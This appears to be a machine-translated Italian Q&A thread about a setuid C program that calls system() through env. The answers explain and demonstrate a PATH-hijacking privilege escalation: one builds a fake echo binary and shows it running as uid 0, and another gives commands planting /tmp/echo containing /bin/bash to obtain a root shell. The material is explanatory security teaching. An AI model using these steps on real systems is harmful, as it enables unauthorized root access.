Ciò che è vulnerabile su questo codice C?
-
25-10-2019 - |
Domanda
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
Il modo in cui ho capito, il codice consente di sopra di codice arbitrario (o programma) l'esecuzione - ciò che rende questo vulnerabili, e come si fa a prendere vantaggio di questo
Soluzione
È possibile ignorare la variabile PATH
per puntare a una directory con la versione personalizzata di echo
e poiché echo
viene eseguito utilizzando env
, non è trattato come un built-in.
Questo constituisce una vulnerabilità solo se il codice viene eseguito come utente privilegiato.
Nell'esempio seguente file di v.c contiene il codice dalla questione.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Si noti che l'impostazione di user ID reale, efficace ID utente e salvato set-user-ID da una chiamata al setresuid()
prima della chiamata a system()
nel codice vulnerabile pubblicato in questione permette di sfruttare la vulnerabilità anche quando solo è efficace ID utente è impostato ad un ID utente privilegiato e reale ID utente rimane senza privilegi (come è per esempio il caso quando basandosi su bit set-user-ID in un file come sopra). Senza la chiamata al setresuid()
guscio gestito da system()
sarebbe ripristinare la parte posteriore ID utente effettivo per l'ID utente reale rendendo l'exploit inefficace. Tuttavia, nel caso in cui il codice vulnerabile viene eseguito con l'ID utente reale di un utente privilegiato, chiamata system()
da sola è sufficiente. Citando pagina sh
man:
Se il guscio viene avviato con l'effettiva dell'utente (gruppo) id non uguale alla reale dell'utente (Gruppo) id, e l'opzione -p non viene fornito, nessun file di avvio sono leggere, funzioni di shell non sono ereditate dall'ambiente, la variabile SHELLOPTS, se appare nell'ambiente, viene ignorato, e l'utente efficace id è impostato sul Real ID utente. Se l'opzione -p è fornita al invocazione, l'avvio comportamento è lo stesso, ma l'id utente effettivo non viene azzerato.
Si noti inoltre che setresuid()
non è portabile, ma setuid()
o setreuid()
può essere utilizzato anche per lo stesso effetto.
Altri suggerimenti
bene in realtà sulla funzione di sistema di chiamata si può pasticciare con il comando echo
.
per esempio, se si esegue il seguente codice:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
si otterrà una shell con il permesso proprietario del file